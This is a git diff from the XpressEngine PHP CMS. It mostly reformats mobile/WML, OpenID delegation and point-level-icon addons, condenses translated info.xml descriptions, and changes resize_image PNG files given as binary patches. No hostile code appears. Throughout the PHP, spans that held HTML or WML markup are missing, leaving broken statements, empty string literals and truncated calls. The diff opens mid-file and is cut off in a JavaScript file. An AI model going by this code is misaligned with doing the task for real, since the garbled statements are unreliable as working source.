    - -
    '); + // Links/wrap, remove all tags except gangjoman + $content = strip_tags($content, implode($allow_tag_array)); + // Margins tab removed + $content = str_replace("\t", "", $content); + // Repeat two more times the space and remove julnanumeul + $content = preg_replace('/( ){2,}/s', '', $content); + $content = preg_replace("/([\r\n]+)/s", "\r\n", $content); + $content = preg_replace(array("/","
    "), array("
    ","
    "), $content); + + while(strpos($content, '

    ')) + { + $content = str_replace('

    ','
    ',$content); + } + // If the required size of a deck of mobile content to write down all the dividing pages + $contents = array(); + while($content) + { + $tmp = $this->cutStr($content, $this->deckSize, ''); + $contents[] = $tmp; + $content = substr($content, strlen($tmp)); + + //$content = str_replace(array('&','<','>','"','&nbsp;'), array('&','<','>','"',' '), $content); + + foreach($allow_tag_array as $tag) + { + if($tag == '
    ') continue; + $tag_open_pos = strpos($content, str_replace('>','',$tag)); + $tag_close_pos = strpos($content, str_replace('<','totalPage = count($contents); + // next/prevUrl specify + if($this->mobilePage>1) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); + $this->setPrevUrl($url, $text); + } + + if($this->mobilePage<$this->totalPage) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); + $this->setNextUrl($url, $text); + } + + $this->content = $contents[$this->mobilePage-1]; + $oModuleController->replaceDefinedLangCode($this->content); + $content = str_replace(array('$','\''), array('$$','''), $content); + } + + /** + * @brief cutting the number of byte functions + */ + function cutStr($string, $cut_size) + { + return preg_match('/.{'.$cut_size.'}/su', $string, $arr) ? $arr[0] : $string; + } + + /** + * @brief Return content + */ + function getContent() + { + return $this->content; + } + + /** + * @brief Specifies the home url + */ + function setHomeUrl($url, $text) + { + if(!$url) $url = '#'; + $this->homeUrl->url = $url; + $this->homeUrl->text = $text; + } + + /** + * @brief Specify upper url + */ + function setUpperUrl($url, $text) + { + if(!$url) $url = '#'; + $this->upperUrl->url = $url; + $this->upperUrl->text = $text; + } + + /** + * @brief Specify prev url + */ + function setPrevUrl($url, $text) + { + if(!$url) $url = '#'; + $this->prevUrl->url = $url; + $this->prevUrl->text = $text; + } + + /** + * @brief Specify next url + */ + function setNextUrl($url, $text) + { + if(!$url) $url = '#'; + $this->nextUrl->url = $url; + $this->nextUrl->text = $text; + } + + /** + * @brief Next, Previous, Top button assignments other than + */ + function setEtcBtn($url, $text) + { + if(!$url) $url = '#'; + $etc['url'] = $url; + $etc['text'] = htmlspecialchars($text); + $this->etcBtn[] = $etc; + } + + /** + * @brief display + */ + function display() + { + // Home button assignments + $this->setHomeUrl(getUrl(), Context::getLang('cmd_go_home')); + // Specify the title + if(!$this->title) $this->setTitle(Context::getBrowserTitle()); + + ob_start(); + // Output header + $this->printHeader(); + // Output title + $this->printTitle(); + // Information output + $this->printContent(); + // Button output + $this->printBtn(); + // Footer output + $this->printFooter(); + + $content = ob_get_clean(); + // After conversion output + if(strtolower($this->charset) == 'utf-8') print $content; + else print iconv('UTF-8',$this->charset."//TRANSLIT//IGNORE", $content); + + exit(); + } + + /** + * @brief Move page + */ + function movepage($url) + { + header("location:$url"); + exit(); + } + + /** + * @brief And returns a list of serial numbers in + */ + function getNo() + { + $this->no++; + $str = $this->no; + return $str; + } + + /** + * @brief XE is easy to use Menu module is relieved during the function, value + */ + function getListedItems($menu, &$listed_items, &$node_list) + { + if(!count($menu)) return; + foreach($menu as $node_srl => $item) + { + if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $item['url'])) + { + $mid = $item['mid'] = $item['url']; + $node_list[$mid] = $node_srl; + } + else + { + $mid = $item['mid'] = null; + } + + $listed_items[$node_srl] = $item; + $this->getListedItems($item['list'], $listed_items, $node_list); + } + } + + /** + * @brief XE navigation output + */ + function displayNavigationContent() + { + $childs = array(); + + if($this->cmid) + { + $cur_item = $this->listed_items[$this->cmid]; + $upper_srl = $cur_item['parent_srl'];; + $list = $cur_item['list'];; + $this->setUpperUrl(getUrl('cmid',$upper_srl), Context::getLang('cmd_go_upper')); + if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $cur_item['url'])) + { + $obj = null; + $obj['href'] = getUrl('','mid',$cur_item['url']); + $obj['link'] = $obj['text'] = '['.$cur_item['text'].']'; + $childs[] = $obj; + } + + } + else + { + $list = $this->menu; + $upper_srl = 0; + } + + if(count($list)) + { + foreach($list as $key => $val) + { + if(!$val['text']) continue; + $obj = null; + if(!count($val['list'])) + { + $obj['href'] = getUrl('','mid',$val['url']); + } + else + { + $obj['href'] = getUrl('cmid',$val['node_srl']); + } + $obj['link'] = $obj['text'] = $val['text']; + $childs[] = $obj; + } + $this->setChilds($childs); + } + // Output + $this->display(); + } + + /** + * @brief Language Settings menu, the output + */ + function displayLangSelect() + { + $childs = array(); + + $this->lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + if($this->lang) + { + $this->lang = str_replace(array(''),array('',''),$this->lang); + Context::setLangType($this->lang); + } + $lang_supported = Context::get('lang_supported'); + $lang_type = Context::getLangType(); + $obj = null; + $obj['link'] = $obj['text'] = Context::getLang('president_lang').' : '.$lang_supported[$lang_type]; + $obj['href'] = getUrl('sel_lang',$lang_type); + $childs[] = $obj; + + if(is_array($lang_supported)) + { + foreach($lang_supported as $key => $val) + { + $obj = null; + $obj['link'] = $obj['text'] = $val; + $obj['href'] = getUrl('sel_lang',$key); + $childs[] = $obj; + } + } + + $this->setChilds($childs); + + $this->display(); + } + + /** + * @brief Module to create a class object of the WAP WAP ready + */ + function displayModuleContent() + { + // Create WAP class objects of the selected module + $oModule = &getWap($this->module_info->module); + if(!$oModule || !method_exists($oModule, 'procWAP') ) return; + + $vars = get_object_vars($this->oModule); + if(count($vars)) foreach($vars as $key => $val) $oModule->{$key} = $val; + // Run + $oModule->procWAP($this); + // Output + $this->display(); + } + + /** + * @brief WAP content is available as a separate output if the final results + */ + function displayContent() + { + Context::set('layout','none'); + // Compile a template + $oTemplate = new TemplateHandler(); + $oContext = &Context::getInstance(); + + $content = $oTemplate->compile($this->oModule->getTemplatePath(), $this->oModule->getTemplateFile()); + $this->setContent($content); + // Output + $this->display(); + } +} +/* End of file mobile.class.php */ +/* Location: ./addons/mobile/classes/mobile.class.php */ diff --git a/addons/mobile/classes/wml.class.php b/addons/mobile/classes/wml.class.php index a9a91fb95..c2b77a284 100644 --- a/addons/mobile/classes/wml.class.php +++ b/addons/mobile/classes/wml.class.php @@ -1,104 +1,127 @@ charset); + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + print("charset."\"?>\n"); + // Card Title + printf("\n\n

    \n",htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); + } - /** - * @brief wml header output - **/ - function printHeader() { - header("Content-Type: text/vnd.wap.wml"); - header("charset: ".$this->charset); - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - print("charset."\"?>\n"); - // Card Title - printf("\n\n

    \n",htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); - } + /** + * @brief Output title + */ + function printTitle() + { + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf('<%s%s>
    %s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); + } - /** - * @brief Output title - **/ - function printTitle() { - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf('<%s%s>
    %s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); - } + /** + * @brief Output information + * hasChilds() if there is a list of content types, otherwise output + */ + function printContent() + { + if($this->hasChilds()) + { + foreach($this->getChilds() as $key => $val) + { + if(!$val['link']) continue; + printf('%s', $this->getNo(), htmlspecialchars($val['text']), $val['href'], "\n"); + if($val['extra']) printf("%s\n",$val['extra']); + } + } + else + { + printf('%s
    %s', str_replace("
    ","
    ",$this->getContent()),"\n"); + } + print('
    '); + } - /** - * @brief Output information - * hasChilds() if there is a list of content types, otherwise output - **/ - function printContent() { - if($this->hasChilds()) { - foreach($this->getChilds() as $key => $val) { - if(!$val['link']) continue; - printf('%s', $this->getNo(), htmlspecialchars($val['text']), $val['href'], "\n"); - if($val['extra']) printf("%s\n",$val['extra']); - } - } else { - printf('%s
    %s', str_replace("
    ","
    ",$this->getContent()),"\n"); - } - print('
    '); - } - - /** - * @brief Button to output - **/ - function printBtn() { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s', $url->text, $url->url, "\n"); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s', $url->text, $url->url, "\n"); - } - // Others are not applicable in charge of the button output (array passed) type?? - if($this->etcBtn) { - if(is_array($this->etcBtn)) { - foreach($this->etcBtn as $key=>$val) { - printf('%s', $key, $val['text'], $val['url'], "\n"); - } - } - } - // Select Language - if(!parent::isLangChange()){ - $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); - printf('%s', 'Language : '.Context::getLang('select_lang'), $url, "\n"); - } - else { - printf('%s', Context::getLang('lang_return'), Context::get('return_uri'), "\n"); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s', $url->text, $url->url, "\n"); - } - if($this->upperUrl) { - $url = $this->upperUrl; - printf('%s', $url->text, $url->url, "\n"); - } - } - // Footer information output - function printFooter() { - print("

    \n
    \n
    "); - } - // And returns a list of serial numbers in - function getNo() { - if(Context::get('mobile_skt')==1) { - return "vnd.skmn".parent::getNo(); - } - else { - return parent::getNo(); - } - return $str; - } - } -?> + /** + * @brief Button to output + */ + function printBtn() + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s', $url->text, $url->url, "\n"); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s', $url->text, $url->url, "\n"); + } + // Others are not applicable in charge of the button output (array passed) type?? + if($this->etcBtn) + { + if(is_array($this->etcBtn)) + { + foreach($this->etcBtn as $key=>$val) + { + printf('%s', $key, $val['text'], $val['url'], "\n"); + } + } + } + // Select Language + if(!parent::isLangChange()) + { + $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); + printf('%s', 'Language : '.Context::getLang('select_lang'), $url, "\n"); + } + else + { + printf('%s', Context::getLang('lang_return'), Context::get('return_uri'), "\n"); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s', $url->text, $url->url, "\n"); + } + if($this->upperUrl) + { + $url = $this->upperUrl; + printf('%s', $url->text, $url->url, "\n"); + } + } + // Footer information output + function printFooter() + { + print("

    \n\n"); + } + // And returns a list of serial numbers in + function getNo() + { + if(Context::get('mobile_skt')==1) + { + return "vnd.skmn".parent::getNo(); + } + else + { + return parent::getNo(); + } + return $str; + } +} +/* End of file wml.class.php */ +/* Location: ./addons/mobile/classes/wml.class.php */ diff --git a/addons/mobile/conf/info.xml b/addons/mobile/conf/info.xml index d9f43b2a5..a27a2c727 100644 --- a/addons/mobile/conf/info.xml +++ b/addons/mobile/conf/info.xml @@ -8,7 +8,7 @@ Mobile XE XE行動上網 - 모바일에서 접속시 헤더 정보를 분석하여 메뉴 - 모듈의 관계를 이용하여 WAP 태그로 출력하는 애드온입니다. + 모바일에서 접속시 헤더 정보를 분석하여 WAP 태그로 출력하는 애드온입니다. wml, hdml, mhtml를 지원하고 그 이외의 경우에는 동작하지 않습니다. @@ -72,41 +72,13 @@ Charset Charset 編碼 - - 모바일 기기의 경우 UTF-8 문자셋을 인식하지 못할 수 있습니다. - 문자셋에 원하시는 문자셋을 입력하면 자동으로 변환하여 출력하여 모바일에서 이상없이 출력하도록 합니다. - 기본값은 UTF-8입니다. - (*SK Telecom 휴대전화의 경우 euc-kr인코딩만 지원하므로, 강제로 euc-kr인코딩만 지원합니다.) - - - ある特定のモバイル機器ではutf-8文字コードの認識が出来ない場合があります。 - 文字コードを設定すると、(日本語だけの場合)該当文字コードに自動変換して正常に表示出来るようになります。 - 本アドオンのデフォルト値はUTF-8で、日本の携帯はshift-jisが一般的です。 - - - 手机有时无法识别utf-8编码,这时输入相应的编码值即可自动转换。 - 默认编码为UTF-8。 - - - utf-8 may be read with mobile tools. - Mobile tools will display correct charset when you input charset you want. - Default charset is UTF-8. - - - UTF-8 không thể đọc được cho các công cụ di động. - Những công cụ di động sẽ trình bày Charset đúng khi bạn nhập vào Charset bạn muốn. - Charset mặc định là UTF-8. - - - utf-8 may be read with mobile tools. - Mobile tools will display correct charset when you input charset you want. - Default charset is UTF-8. - - - 行動工具無法讀取utf-8編碼。 - 當您輸入所想要的編碼時,行動工具將會正確的顯示。 - 預設編碼是UTF-8. - + 모바일 기기의 경우 UTF-8 문자셋을 인식하지 못할 수 있습니다. 문자셋에 원하는 문자셋을 입력하면 자동으로 변환하여 출력하여 모바일에서 이상없이 출력하도록 합니다. 기본값은 UTF-8입니다. (*SK Telecom 휴대전화의 경우 euc-kr인코딩만 지원하므로, 강제로 euc-kr인코딩만 지원합니다.) + ある特定のモバイル機器ではutf-8文字コードの認識が出来ない場合があります。文字コードを設定すると、(日本語だけの場合)該当文字コードに自動変換して正常に表示出来るようになります。本アドオンのデフォルト値はUTF-8で、日本の携帯はshift-jisが一般的です。 + 手机有时无法识别utf-8编码,这时输入相应的编码值即可自动转换。默认编码为UTF-8。 + utf-8 may be read with mobile tools. Mobile tools will display correct charset when you input charset you want. Default charset is UTF-8. + UTF-8 không thể đọc được cho các công cụ di động. Những công cụ di động sẽ trình bày Charset đúng khi bạn nhập vào Charset bạn muốn. Charset mặc định là UTF-8. + utf-8 may be read with mobile tools. Mobile tools will display correct charset when you input charset you want. Default charset is UTF-8. + 行動工具無法讀取utf-8編碼。當您輸入所想要的編碼時,行動工具將會正確的顯示。預設編碼是UTF-8. diff --git a/addons/mobile/mobile.addon.php b/addons/mobile/mobile.addon.php index 15bde8a8a..8539c64bd 100644 --- a/addons/mobile/mobile.addon.php +++ b/addons/mobile/mobile.addon.php @@ -1,5 +1,7 @@ display mobile content * Condition - **/ + * */ // Ignore admin page -if(Context::get('module')=='admin') return; +if(Context::get('module') == 'admin') +{ + return; +} // Manage when to call it -if($called_position != 'before_module_proc' && $called_position != 'after_module_proc' ) return; +if($called_position != 'before_module_proc' && $called_position != 'after_module_proc') +{ + return; +} // Ignore if not mobile browser -require_once(_XE_PATH_.'addons/mobile/classes/mobile.class.php'); -if(!mobileXE::getBrowserType()) return; +require_once(_XE_PATH_ . 'addons/mobile/classes/mobile.class.php'); +if(!mobileXE::getBrowserType()) +{ + return; +} // Generate mobile instance $oMobile = &mobileXE::getInstance(); -if(!$oMobile) return; +if(!$oMobile) +{ + return; +} // Specify charset on the add-on settings $oMobile->setCharSet($addon_info->charset); // Set module information $oMobile->setModuleInfo($this->module_info); // Register the current module object $oMobile->setModuleInstance($this); -// Extract content and display/exit if navigate mode is or if WAP class exists -if($called_position == 'before_module_proc') { - if($oMobile->isLangChange()) { +// Extract content and display/exit if navigate mode is or if WAP class exists +if($called_position == 'before_module_proc') +{ + if($oMobile->isLangChange()) + { $oMobile->setLangType(); $oMobile->displayLangSelect(); } // On navigation mode, display navigation content - if($oMobile->isNavigationMode()) $oMobile->displayNavigationContent(); + if($oMobile->isNavigationMode()) + { + $oMobile->displayNavigationContent(); + } // If you have a WAP class content output via WAP class - else $oMobile->displayModuleContent(); -// If neither navigation mode nor WAP class is, display the module's result -} else if($called_position == 'after_module_proc') { + else + { + $oMobile->displayModuleContent(); + } + // If neither navigation mode nor WAP class is, display the module's result +} +else if($called_position == 'after_module_proc') +{ // Display $oMobile->displayContent(); } -?> + +/* End of file mobile.addon.php */ +/* Location: ./addons/mobile/mobile.addon.php */ diff --git a/addons/openid_delegation_id/openid_delegation_id.addon.php b/addons/openid_delegation_id/openid_delegation_id.addon.php index db1e90c88..42c9a8a2d 100644 --- a/addons/openid_delegation_id/openid_delegation_id.addon.php +++ b/addons/openid_delegation_id/openid_delegation_id.addon.php @@ -1,5 +1,7 @@ server||!$addon_info->delegate||!$addon_info->xrds) return; +if(!$addon_info->server || !$addon_info->delegate || !$addon_info->xrds) +{ + return; +} $header_script = sprintf( - ''."\n". - ''."\n". - '', - $addon_info->server, - $addon_info->delegate, - $addon_info->xrds + '' . "\n" . + '' . "\n" . + '', + $addon_info->server, + $addon_info->delegate, + $addon_info->xrds ); Context::addHtmlHeader($header_script); -?> + +/* End of file openid_delegation_id.addon.php */ +/* Location: ./addons/openid_delegation_id/openid_delegation_id.addon.php */ diff --git a/addons/point_level_icon/conf/info.xml b/addons/point_level_icon/conf/info.xml index 201cdfb7c..2399143d3 100644 --- a/addons/point_level_icon/conf/info.xml +++ b/addons/point_level_icon/conf/info.xml @@ -11,7 +11,7 @@ 點數等級圖案 포인트 시스템을 사용중일 경우 사용자 이름 앞에 레벨 아이콘을 표시하도록 합니다. - 레벨 아이콘은 모듈 > 포인트시스템에서 선택 가능합니다. + 레벨 아이콘은 설치된 모듈 > 포인트시스템에서 선택 가능합니다. 使用积分系统时,可以在用户名前显示级别图标。 diff --git a/addons/point_level_icon/point_level_icon.addon.php b/addons/point_level_icon/point_level_icon.addon.php index 483e15331..be46a3eb8 100644 --- a/addons/point_level_icon/point_level_icon.addon.php +++ b/addons/point_level_icon/point_level_icon.addon.php @@ -1,5 +1,7 @@ ]*)member_([0-9\-]+)([^\>]*)>(.*?)\<\/(div|span|a)\>!is', 'pointLevelIconTrans', $output); -if($temp_output) $output = $temp_output; +if($temp_output) +{ + $output = $temp_output; +} unset($temp_output); -?> + +/* End of file point_level_icon.addon.php */ +/* Location: ./addons/point_level_icon/point_level_icon.addon.php */ diff --git a/addons/point_level_icon/point_level_icon.lib.php b/addons/point_level_icon/point_level_icon.lib.php index 23daedd7c..5caa1cd7c 100644 --- a/addons/point_level_icon/point_level_icon.lib.php +++ b/addons/point_level_icon/point_level_icon.lib.php @@ -1,52 +1,78 @@ $/', '', $matches[0]); + $orig_text = preg_replace('/' . preg_quote($matches[5], '/') . '<\/' . $matches[6] . '>$/', '', $matches[0]); // Check Group Image Mark - $oMemberModel = &getModel('member'); - if($oMemberModel->getGroupImageMark($member_srl)) return $orig_text.$matches[5].''; + $oMemberModel = getModel('member'); + if($oMemberModel->getGroupImageMark($member_srl)) + { + return $orig_text . $matches[5] . ''; + } - if(!isset($GLOBALS['_pointLevelIcon'][$member_srl])) { + if(!isset($GLOBALS['_pointLevelIcon'][$member_srl])) + { // Get point configuration - if(!$GLOBALS['_pointConfig']) { - $oModuleModel = &getModel('module'); + if(!$GLOBALS['_pointConfig']) + { + $oModuleModel = getModel('module'); $GLOBALS['_pointConfig'] = $oModuleModel->getModuleConfig('point'); } $config = $GLOBALS['_pointConfig']; + // Get point model - if(!$GLOBALS['_pointModel']) $GLOBALS['_pointModel'] = getModel('point'); + if(!$GLOBALS['_pointModel']) + { + $GLOBALS['_pointModel'] = getModel('point'); + } $oPointModel = &$GLOBALS['_pointModel']; + // Get points - if(!$oPointModel->isExistsPoint($member_srl)) return $matches[0]; + if(!$oPointModel->isExistsPoint($member_srl)) + { + return $matches[0]; + } + $point = $oPointModel->getPoint($member_srl); + // Get level $level = $oPointModel->getLevel($point, $config->level_step); $text = $matches[5]; + // Get a path where level icon is $level_icon = sprintf('%smodules/point/icons/%s/%d.gif', Context::getRequestUri(), $config->level_icon, $level); + // Get per to go to the next level if not a top level - if($level < $config->max_level) { - $next_point = $config->level_step[$level+1]; + if($level < $config->max_level) + { + $next_point = $config->level_step[$level + 1]; $present_point = $config->level_step[$level]; - if($next_point > 0) { - $per = (int)(($point - $present_point) / ($next_point - $present_point)*100); - $per = $per.'%'; + if($next_point > 0) + { + $per = (int) (($point - $present_point) / ($next_point - $present_point) * 100); + $per = $per . '%'; } } - $title = sprintf('%s:%s%s%s, %s:%s/%s', Context::getLang('point'), $point, $config->point_name, $per?' ('.$per.')':'', Context::getLang('level'), $level, $config->max_level); + $title = sprintf('%s:%s%s%s, %s:%s/%s', Context::getLang('point'), $point, $config->point_name, $per ? ' (' . $per . ')' : '', Context::getLang('level'), $level, $config->max_level); $alt = sprintf('[%s:%s]', Context::getLang('level'), $level); $GLOBALS['_pointLevelIcon'][$member_srl] = sprintf('%s', $level_icon, $alt, $title); } $text = $GLOBALS['_pointLevelIcon'][$member_srl]; - return $orig_text.$text.$matches[5].''; + return $orig_text . $text . $matches[5] . ''; } -?> + +/* End of file point_level_icon.lib.php */ +/* Location: ./addons/point_level_icon/point_level_icon.lib.php */ diff --git a/addons/resize_image/btn.png b/addons/resize_image/btn.png new file mode 100644 index 0000000000000000000000000000000000000000..2f48acd9923a7e23cc4a00e91bc830df17545918 GIT binary patch literal 1360 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 DXH)ij diff --git a/addons/resize_image/iconLeft.png b/addons/resize_image/iconLeft.png deleted file mode 100755 index 8709013bf1d68b0e51717bce65a7f4fc26d1540d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1218 zcmXX`eNYou5Pz41Kp_`Su;~RQoT3gLl!j;#slbKeNI)bZF;cZP7YQg%3RRFK6KOOW zL9}31rb9;vcF>5lTE7N?Vx7QX_aS~%5dUBE?(^*uv+@S zPyPMFgSQjU5rmkJrW&kbiPXA5ZY%A>Fhe&)z!sH zN=jk{1qHDL0)eq-@h9usvNdmCer#_}(!%sN%=O7a=B1HQQ3=^;5n?&x@RGZL1eE7= zUEM5tczAgF%+ZOlt<9P>X=wo`W4#`JaIm`JQATY-bYDwxMS=(W&X4X#aGDnty_=+8 z89wq^G2W&h6PT}t5{9P(&Wf-^L0_x(pmY573wq5ZgjRZt$2@Nr7R^4r+v<9Br9vn% zBMdA(o|T7u*{V6HoO^q((UNc@O2yp9P{q#=zzRSY*T}87+gk!7MF#rZ!Roz-Z{12*xdU8M#@Az zW*tXHqT9N6!cHYKt=%>88=4?vQN8>2&ucgRH7h?qzZFgE*Grk>vrS9|`hHX8bgN8)Rm>-I4fv^XrTg?~TV#|NIaVDYG z^KNqd^Lu9rfRV`^e9N4YmrtizAuFya4iY`8#ATB#-}jWJ4N_{gnkf`srkoV4e9dZp z##y-VEalt;t!5hy{WH)vgU-N29#?^D5iHi{!iQ>@e#Du$Kq6ypRu)U-b@%=@*EZZP zehDKaH^WTYx9w%YtQQY29bZ#>xC*uq!E@tz(I^}VcYvGf&2K>M><_)EtFF}V*?Al` zHAHtCAK2k64qmLkJPhj}?ajWY@Ic5Lg(sW}FZK<+dQdUyRaBDeiV>(#9`1rF&W-!_ zrm8R+1Cs|DIe9$-t)1Sg^Z5V&h&G-MeMn1BjZfbULJAoB>)t=qTia|w>ulG4tczu$ z)vsw6L+?aHl3>SDJ+_+HRN$nE9<=RXny=DqHy6~**J6Z$oTP031U9y;Cev_oa|{`f z-qGIvyM|8_a~N|eY#zU)gbky33I6S0v0~*NM$Vyl{TpoGo>=g_V2M9QuCQ&7{~IS- z5>1g{3_W+`2||Ks;huHmxGo2kW>_z{4X>jRhOP9z#Rntzg{vcZqyYif^yOLSmiIk| PpAZl&TbcYzl49q-JE`qV diff --git a/addons/resize_image/iconRight.png b/addons/resize_image/iconRight.png deleted file mode 100755 index 62807eb9554ca5a2a963bc7544363066d6acd97c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1266 zcmbu9Sx{3~7{|}OHwjlF5^RBp8ZV<#Dj-W;r~+sA-47y z>&V`sa7kSH_~zlcx6Pw|7=yH}-xe#84Bo4&3sbAr!Rg)&FLXK`g7y{d6}u(OjQ0jb zM*$T7-m>k{qeta(Ik7LtW~!)_#dj^hB;$q?ZEm>nM{Tq9X}z% zaN;&AFeoTLEid}L^^XOS{GASYZPk~dbAiTRph%No>_vBek5-ZN$EAeeUJ5Qp#1Zj} zvsYijIHFsA&E3%S?bmd`ATN{(Ka6!4w~Lg;)$z*?CFibpw63p%bj4<)ObGoYFbdo~h)_<}=05kYN*AZ`C05vKtH6*CL+}-1E!%kWW z+g8zl;&T2NKPF}>sivkzvE~M>O2z2&V*vpJ$9;S*HbDSr1$Y6KV>Q)f#cPjf=dWYf`wNx^?#_v^g+A#?`?6Q z2SjmxZc4?Qn}jK--pQuuSxTIL_u_Dzq#)3d{&SsD{TM;0 z^>~LW5|^n(oAgvVM68)=O*hsqQSIuPf)O@DkACl;Vr?Q{W`GmYbmQlq>$NeO#`($a ze0yzrrbq#K8Jik@s7wJtc`i7El&?5M%o#ixwh?O@k%hT#V-pjTP)kco7J{U39*lfC z(JmHio0r#mx7Q2Io-EV!R6>V6^r9sZ*~Dcl)>+4YgyMhZF|6HKq)5;h0r-Cl(+ykm#-Ae%^Q89e!HC N>mb+TuKS79e*s@z9?bv% diff --git a/addons/resize_image/js/resize_image.js b/addons/resize_image/js/resize_image.js index c1de9b2ae..77dc3f8d6 100644 --- a/addons/resize_image/js/resize_image.js +++ b/addons/resize_image/js/resize_image.js @@ -9,76 +9,104 @@ var xScreen = null; function getScreen() { var body = $(document.body); var controls, imgframe, closebtn, prevbtn, nextbtn; - // 스크린이 없으면 스크린을 만든다. if (!xScreen) { // 검은 스크린 xScreen = $("
